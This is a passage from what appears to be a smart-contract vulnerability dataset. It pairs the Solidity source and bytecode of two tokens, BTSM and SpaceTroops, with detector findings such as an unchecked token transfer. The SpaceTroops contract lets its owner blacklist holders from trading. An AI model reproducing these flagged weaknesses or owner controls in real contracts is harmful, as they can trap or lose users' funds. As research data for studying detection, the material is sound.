576000815560010161060e565b5090565b9056fea265627a7a72315820925885939d633a4e48d41346dac5c5ca2c4b9fb47143a9dc758a0d21d9a2f58464736f6c634300050f0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,340 |
0xbbd575b0652a9a097b4921ab279436be1b52adfb | pragma solidity ^0.4.23;
/*
* Creator: BTSM (Bitsmo Coin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* BTSM token smart contract.
*/
contract BTSMToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 200000000 * (10**3);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function BTSMToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Bitsmo Coin";
string constant public symbol = "BTSM";
uint8 constant public decimals = 3;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610add565b005b34801561043c57600080fd5b50610445610cfd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d36565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc2565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e49565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f426974736d6f20436f696e00000000000000000000000000000000000000000081525081565b6000806106ed3385610dc2565b14806106f95750600082145b151561070457600080fd5b61070e8383610faa565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109c565b90505b9392505050565b600381565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad3576109ce642e90edd000600454611482565b8211156109de5760009050610ad8565b610a266000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a746004548361149b565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ad8565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7657600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1c57600080fd5b505af1158015610c30573d6000803e3d6000fd5b505050506040513d6020811015610c4657600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f4254534d0000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9157600080fd5b600560009054906101000a900460ff1615610daf5760009050610dbc565b610db983836114b9565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee057600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110d957600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611166576000905061147b565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b5576000905061147b565b6000821180156111f157508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114115761127c600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113446000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113ce6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149057fe5b818303905092915050565b60008082840190508381101515156114af57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115455760009050611705565b60008211801561158157508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169b576115ce6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611482565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116586000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149b565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820fc5ded5b607afa54f72ef9c1105da22248f9817aff2b12dc304d3b11d4dd3d990029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,341 |
0x7d371c47d4a654587ada14612e41cac24a77b910 | /**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/**
*
*/
/*
Telegram : https://t.me/SpaceTroops
// SPDX-License-Identifier: GPL-3.0-or-later
/**
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpaceTroops is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SpaceTroops";//
string private constant _symbol = "SpaceTroops";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 4;//
uint256 private _taxFeeOnBuy = 4;//
//Sell Fee
uint256 private _redisFeeOnSell = 5;//
uint256 private _taxFeeOnSell = 5;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xc9B4Ae088475Ab4347CA610c58b34F18C23b8C39);//
address payable private _marketingAddress = payable(0xc9B4Ae088475Ab4347CA610c58b34F18C23b8C39);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
